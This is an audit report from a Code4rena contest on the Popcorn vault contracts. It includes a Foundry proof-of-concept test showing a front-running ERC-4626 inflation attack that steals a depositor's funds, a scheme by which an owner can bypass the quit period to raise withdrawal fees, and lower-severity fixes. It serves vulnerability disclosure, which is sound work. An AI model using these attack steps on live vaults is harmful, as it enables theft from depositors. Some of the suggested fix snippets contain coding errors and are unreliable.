Popcorn contest - 0xBeirao's results

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/adapter/abstracts/AdapterBase.sol#L193-L204

Vulnerability details

Impact

When the BaseAdapter is empty. Someone can frontrun a user to steal his funds by an inflation attack.

Senario

Lets say Alice wants to deposit 1 token (with decimal 18, so 1e18 units) to the vault calling deposit. This is how the attack would unfold.

• The vault is empty.
• The exchange rate is the default 1 share per asset
• Bob sees Alice’s transaction in the mempool and decide to sandwitch it.
• Bob deposits 1 wei to the vault, gets 1 wei of shares in exchange.
• The exchange rate is now 1 share per asset
• Bob transfers 1 token to the vault (1e18 units) using an ERC-20 transfers. No shares are minted in exchange.
• The rate is now 1 share for 1e18+1 asset
• Alice deposit is executed. Her 1e18 units of token are not even worth one unit of shares. So the contract takes the assets, but mint no shares. Alice basically donated her tokens.
• The rate is now 1 share for 2e18+1 asset
• Bob redeem its 1 wei of shares, getting the entire vault assets in exchange. This includes all the token he deposited and transfered plus Alice’s tokens.

(From : https://ethereum-magicians.org/t/address-eip-4626-inflation-attacks-with-virtual-shares-and-assets/12677)

Proof of Concept

Here is the result of the application of the scenario:

  -------------------------------
  Balance of Alice asset:2000000000000000000
  Balance of Alice share:0
  Balance of Bob asset:2000000000000000000
  Balance of Bob share:0
  Balance of vault adapter:0
  Balance of vault asset:0
  -------------------------------
  -------------------------------
  Balance of Alice asset:2000000000000000000
  Balance of Alice share:0
  Balance of Bob asset:1999999999999999999
  Balance of Bob share:1
  Balance of vault adapter:1
  Balance of vault asset:1
  -------------------------------
  -------------------------------
  Balance of Alice asset:2000000000000000000
  Balance of Alice share:0
  Balance of Bob asset:999999999999999999
  Balance of Bob share:1
  Balance of vault adapter:1
  Balance of vault asset:1000000000000000001
  -------------------------------
  -------------------------------
  Balance of Alice asset:1000000000000000000
  Balance of Alice share:0
  Balance of Bob asset:999999999999999999
  Balance of Bob share:1
  Balance of vault adapter:1
  Balance of vault asset:2000000000000000001
  -------------------------------
  -------------------------------
  Balance of Alice asset:1000000000000000000
  Balance of Alice share:0
  Balance of Bob asset:3000000000000000000     <= Bod steal Alice funds
  Balance of Bob share:0
  Balance of vault adapter:0
  Balance of vault asset:0
  -------------------------------

Test condition :

I added this in Vault.t.sol :

function test__inflationAttack() public { // @audit
  uint256 amount = 2e18;
  _setFees(0, 0, 0, 0);

  asset.mint(alice, amount);
  asset.mint(bob, amount);
  
  console.log("-------------------------------");
  console.log("%s:%d", "Balance of Alice asset", asset.balanceOf(alice));
  console.log("%s:%d", "Balance of Alice share", vault.balanceOf(alice));
  console.log("%s:%d", "Balance of Bob asset", asset.balanceOf(bob));
  console.log("%s:%d", "Balance of Bob share", vault.maxRedeem(bob));
  console.log("%s:%d", "Balance of adapter adapter", adapter.totalSupply());
  console.log("%s:%d", "Balance of adapter asset", asset.balanceOf(address(adapter)));
  console.log("-------------------------------");


  vm.startPrank(bob);
  asset.approve(address(adapter), 1);
  adapter.deposit(1, bob);
  vm.stopPrank();

  console.log("-------------------------------");
  console.log("%s:%d", "Balance of Alice asset", asset.balanceOf(alice));
  console.log("%s:%d", "Balance of Alice share", adapter.balanceOf(alice));
  console.log("%s:%d", "Balance of Bob asset", asset.balanceOf(bob));
  console.log("%s:%d", "Balance of Bob share", adapter.maxRedeem(bob));
  console.log("%s:%d", "Balance of adapter adapter", adapter.totalSupply());
  console.log("%s:%d", "Balance of adapter asset", asset.balanceOf(address(adapter)));
  console.log("-------------------------------");

  vm.startPrank(bob);
  asset.approve(address(adapter), 1e18);
  asset.transfer(address(adapter), 1e18);
  vm.stopPrank();

  console.log("-------------------------------");
  console.log("%s:%d", "Balance of Alice asset", asset.balanceOf(alice));
  console.log("%s:%d", "Balance of Alice share", adapter.balanceOf(alice));
  console.log("%s:%d", "Balance of Bob asset", asset.balanceOf(bob));
  console.log("%s:%d", "Balance of Bob share", adapter.maxRedeem(bob));
  console.log("%s:%d", "Balance of adapter adapter", adapter.totalSupply());
  console.log("%s:%d", "Balance of adapter asset", asset.balanceOf(address(adapter)));
  console.log("-------------------------------");

  vm.startPrank(alice);
  asset.approve(address(adapter), 1e18);
  adapter.deposit(1e18, alice);
  vm.stopPrank();

  console.log("-------------------------------");
  console.log("%s:%d", "Balance of Alice asset", asset.balanceOf(alice));
  console.log("%s:%d", "Balance of Alice share", adapter.balanceOf(alice));
  console.log("%s:%d", "Balance of Bob asset", asset.balanceOf(bob));
  console.log("%s:%d", "Balance of Bob share", adapter.maxRedeem(bob));
  console.log("%s:%d", "Balance of adapter adapter", adapter.totalSupply());
  console.log("%s:%d", "Balance of adapter asset", asset.balanceOf(address(adapter)));
  console.log("-------------------------------");

  vm.startPrank(bob);
  adapter.redeem(1,bob,bob);
  vm.stopPrank();

  console.log("-------------------------------");
  console.log("%s:%d", "Balance of Alice asset", asset.balanceOf(alice));
  console.log("%s:%d", "Balance of Alice share", adapter.balanceOf(alice));
  console.log("%s:%d", "Balance of Bob asset", asset.balanceOf(bob));
  console.log("%s:%d", "Balance of Bob share", adapter.maxRedeem(bob));
  console.log("%s:%d", "Balance of adapter adapter", adapter.totalSupply());
  console.log("%s:%d", "Balance of adapter asset", asset.balanceOf(address(adapter)));
  console.log("-------------------------------");


  // have to fail : for log printing
  assertEq(amount, 2);
}

I ran out of time on this one so I was not able to bench test the real AdapterBase. So I changed the MockERC4626 the match the AdapterBase specifications.

Tools Used

Foundry test

Recommended Mitigation Steps

You can refer to this artical : https://ethereum-magicians.org/t/address-eip-4626-inflation-attacks-with-virtual-shares-and-assets/12677

Or add this line at the beginning of the redeem() function of AdapterBase :

if ((assets = previewRedeem(shares)) == 0) revert(); 

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/Vault.sol#L629-L636

Vulnerability details

Impact

To change the adapter and the fees in a Vault, there is a quit period timer to give the investor time to withdraw his funds from the strategy if he doesn't agree with the change. However, the setQuitPeriod function does not respect the quit period features and withdraw fee has no limit. This means that the vault owner can scam users.

Proof of Concept

Scammy scenario:

• Bob finds a Popcorn Vault and decides to invest 1000 USDC because the fee is low (1%).
• At this time the quitPeriod = 7 days.
• Bob comes back 3 days later and the withdrawal fee has gone from 1% to 50%.
• Bob thought he was safe for 7 days, but now he has been scammed.
• Bob decides to withdraw from the vault and only gets 500 USDC, he lost 50%.

What the smart vault owner did was :

• Waits for his vault to reach 1 million TVL.
• Proposed a 50% fee on withdrawal with proposeFees().
• At this point everyone thinks they have 7 days to withdraw (if they are even noticed)
• One day later the vault owner setQuitPeriod(1.01 days) and immediately changeFees().
• Everyone will one day withdraw their money from this vault.
• The vault owner has just made 500K USDC (completely legit).

Recommended Mitigation Steps

3 posibilities :

• put a maximum withdrawal fee
• prohibit the change of these fees
• remove withdrawal fee

and add the quit period feature to the setQuitPeriod function.

From :

function setQuitPeriod(uint256 _quitPeriod) external onlyOwner {
    if (_quitPeriod < 1 days || _quitPeriod > 7 days)
        revert InvalidQuitPeriod();

    quitPeriod = _quitPeriod;

    emit QuitPeriodSet(quitPeriod);
}

to :

function proposeQuitPeriod(uint256 _quitPeriod) external onlyOwner {
    if (_quitPeriod < 1 days || _quitPeriod > 7 days)
        revert InvalidQuitPeriod();

    proposedQuitPeriod = _quitPeriod;
    proposedQuitPeriodTime = block.timestamp;

    emit NewFeesProposed(newFees, block.timestamp);
}

function changeQuitPeriod() external {
    if (block.timestamp < proposedQuitPeriodTime + quitPeriod)
        revert NotPassedQuitPeriod(quitPeriod);

    emit ChangedQuitPeriod(proposedQuitPeriod);
    quitPeriod = proposedQuitPeriod;
}

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/Vault.sol#L594-L613 https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/adapter/abstracts/AdapterBase.sol#L162

Vulnerability details

Impact

Changing the adapter (that uses a strategy) of an already credited vault can result in a loss of user funds.

Proof of Concept

Senario :

• A Vault owner want to change the underlying Adapter
• Owner call the proposeAdapter() and then changeAdapter() that will call the redeem() adapter function :
  • https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/adapter/abstracts/AdapterBase.sol#L193-L235
• Here the goal is to empty the Strategy and Adapter underlying contracts of the Vault to make a safe adapter change.

Issue senario 1 : the harvest() function is in cooldown.

Issue senario 2 : the harvest() function revert.

In both case, the harvest() fonction will not execute. The adapter will change without harvesting from the Strategy causing the loss of unclaimed rewards.

Tools Used

None

Recommended Mitigation Steps

Change the harvest() function from :

function harvest() public takeFees {
    if (
        address(strategy) != address(0) &&
        ((lastHarvest + harvestCooldown) < block.timestamp)
    ) {
        // solhint-disable
        address(strategy).delegatecall(
            abi.encodeWithSignature("harvest()")
        );
    }

    emit Harvested();
}

to :

function harvest() public takeFees {
    if (
        address(strategy) == address(0) ||
        ((lastHarvest + harvestCooldown) > block.timestamp)
    ) {
        revert();  // Fixing the "Issue senario 1"
    }

    (bool success, ) = address(strategy).delegatecall(
        abi.encodeWithSignature("harvest()")
    );

    if (!success) revert(); // Fixing the "Issue senario 2"

    emit Harvested();
}

StrategyBase contract must be abstract

https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/strategy/StrategyBase.sol#L9

The StrategyBase contract can be restricted to abstract.

Lack of documentation for adapter, strategy and vault creator

There is no "user manual" type of documentation for vault creators.
Popcorn's goal is to make it easy and safe for anyone to create a vault, but we actually need to dive deep into the code base to understand how to create one. This kind of documentation needs to exist.

No check for _fees in the Vault constructor

https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/Vault.sol#L88

Just check that the initial fees are correct by implementing this logic in the constructor of Vault : https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/Vault.sol#L526-L531

Check for mandatory parameters in VaultMetaData and Template struct

https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/VaultRegistry.sol#L44-L53

struct VaultMetadata {
  /// @notice Vault address
  address vault;
  /// @notice Staking contract for the vault
  address staking;
  /// @notice Owner and Vault creator
  address creator;
  /// @notice IPFS CID of vault metadata
  string metadataCID;
  /// @notice OPTIONAL - If the asset is an Lp Token these are its underlying assets
  address[8] swapTokenAddresses;
  /// @notice OPTIONAL - If the asset is an Lp Token its the pool address
  address swapAddress;
  /// @notice OPTIONAL - If the asset is an Lp Token this is the identifier of the exchange (1 = curve)
  uint256 exchange;
}

According to the natspecs above (in IVaultRegistry), if swapTokenAddresses,swapAddress and exchange are OPTIONAL then vault, staking, creator and metadataCID should be mandatory ? If it's the case, the registerVault() function should ckeck if they are not null.

Just add something like that to registerVault() to check :

if (_metadata.vault == address(0) 
      || _metadata.staking == address(0) 
      || _metadata.creator == address(0) 
      || _metadata.metadataCID.length == 0) revert();

There is no functions to delete a vault is registry. Must not push incomplete vault structure.

Same for addTemplate(): https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/TemplateRegistry.sol#L67-L82

Some parameters of the Template structure are mandatory :

/// @notice Template used for creating new clones
struct Template {
  /// @Notice Cloneable implementation address
  address implementation;
  /// @Notice implementations can only be cloned if endorsed
  bool endorsed;
  /// @Notice Optional - Metadata CID which can be used by the frontend to add informations to a vault/adapter...
  string metadataCid;
  /// @Notice If true, the implementation will require an init data to be passed to the clone function
  bool requiresInitData;
  /// @Notice Optional - Address of an registry which can be used in an adapter initialization
  address registry;
  /// @Notice Optional - Only used by Strategies. EIP-165 Signatures of an adapter required by a strategy
  bytes4[8] requiredSigs;
}

And parameters check is needed in addTemplate().

Consider check all parameters in toggleTemplateEndorsement()

https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/TemplateRegistry.sol#L102-L109

Consider checking both templateCategory and templateId existence in the registry.

from :

function toggleTemplateEndorsement(bytes32 templateCategory, bytes32 templateId) external onlyOwner {
if (!templateExists[templateId]) revert KeyNotFound(templateId);

bool oldEndorsement = templates[templateCategory][templateId].endorsed;
templates[templateCategory][templateId].endorsed = !oldEndorsement;

emit TemplateEndorsementToggled(templateCategory, templateId, oldEndorsement, !oldEndorsement);
}

to :

function toggleTemplateEndorsement(bytes32 templateCategory, bytes32 templateId) external onlyOwner {
    if (!templateExists[templateId]) revert KeyNotFound(templateId);
    if (!templateCategoryExists[templateCategory]) revert KeyNotFound(templateCategory);
    
    bool oldEndorsement = templates[templateCategory][templateId].endorsed;
    templates[templateCategory][templateId].endorsed = !oldEndorsement;

    emit TemplateEndorsementToggled(templateCategory, templateId, oldEndorsement, !oldEndorsement);
}

Wrong natspecs for CloneRegistry, CloneFactory and TemplateRegistry

https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/CloneRegistry.sol#L21 https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/CloneFactory.sol#L22 https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/TemplateRegistry.sol#L23

According to the documentation, the direct _owner of CloneRegistry.sol, CloneFactory.sol and TemplateRegistry.sol should be DeploymentController.sol not AdminProxy

Wrong natspecs for addTemplate()

Everyone can call addTemplate().

from : https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/DeploymentController.sol#L60

to :

@notice Every user can adds a new template. 

PermissionRegistry can be simplified

This endorsed/rejected system was put in place to switch frrom a whitelist to a blacklist access when Popcorn will feel confortable by open up the protocol to every one. In reality, if someone got he's Template rejected, he can easily create a new one and pursue he's malicious behaviour. So I don't think the blacklist access mode is relevant. This contract can therefore be simplified by replacing the permission structure with a simple Boolean variable: endorsed.

By making this modification changes need to be done on VaultController by changing these lines :

• https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/VaultController.sol#L682-L684
• https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/VaultController.sol#L706-L708
• https://github.com/code-423n4/2023-01-popcorn/blob/main/src/interfaces/vault/IPermissionRegistry.sol (just rewiew the overall adapter)

Moreover, to save gas, the i++ can be become unchecked { ++i; } and be placed at the end of the for loop and test if there is a length in both parameters.

However I don't see any vulnerabilities but complexity is more likely to lead to security issues.

from :

pragma solidity ^0.8.15;

import { Owned } from "../utils/Owned.sol";
import { Permission } from "../interfaces/vault/IPermissionRegistry.sol";

contract PermissionRegistry is Owned {
  constructor(address _owner) Owned(_owner) {}
  mapping(address => Permission) public permissions;
  event PermissionSet(address target, bool newEndorsement, bool newRejection);
  error Mismatch();

  function setPermissions(address[] calldata targets, Permission[] calldata newPermissions) external onlyOwner {
    uint256 len = targets.length;
    if (len != newPermissions.length) revert Mismatch();

    for (uint256 i = 0; i < len; i++) {
      if (newPermissions[i].endorsed && newPermissions[i].rejected) revert Mismatch();

      emit PermissionSet(targets[i], newPermissions[i].endorsed, newPermissions[i].rejected);

      permissions[targets[i]] = newPermissions[i];
    }
  }

  function endorsed(address target) external view returns (bool) {
    return permissions[target].endorsed;
  }

  function rejected(address target) external view returns (bool) {
    return permissions[target].rejected;
  }
}

to :

pragma solidity ^0.8.15;

import { Owned } from "../utils/Owned.sol";

contract PermissionRegistry is Owned {
  constructor(address _owner) Owned(_owner) {}
  mapping(address => bool) public permissions;
  event PermissionSet(address target, bool newEndorsement, bool newRejection);

  error EmptyParams();
  error Mismatch();

  function setPermissions(address[] calldata targets, bool[] calldata newPermissions) external onlyOwner {
    uint256 len = targets.length;
    if (len == 0 || newPermissions.length == 0) revert EmptyParams();
    if (len != newPermissions.length) revert Mismatch();

    for (uint256 i = 0; i < len; ) {

      emit PermissionSet(targets[i], newPermissions[i].endorsed, newPermissions[i].rejected);

      permissions[targets[i]] = newPermissions[i];

      unchecked { ++i; }
    }
  }

  function endorsed(address target) external view returns (bool) {
    return permissions[target].endorsed;
  }
}

testFail__initialize_adapter_addressZero() wrong test (no in scope but just just a heads up)

https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/test/vault/Vault.t.sol#L159

Should be :

IERC4626(address(0)),

In Vault.sol withdraw() function should check if the amount pass in (assets) is not null

Just to revert the transaction if the "assets == 0".

https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/Vault.sol#L211-L240

harvest() cooldown fonctionality do not work properly

https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/adapter/abstracts/AdapterBase.sol#L438-L450

The lastHarvest variable used to limit harvest() calls is never reassigned. This means that the cooldown mechanism only works the first time harvest() is called. This features was added to let a strategy compound interest before harvesting. This way, earns will always be greater than gas price needed to harvest.

This must be added to the harvest() function :

lastHarvest = block.timestamp();

Maybe a medium because it's a core functionality but the security issue of it isn't high.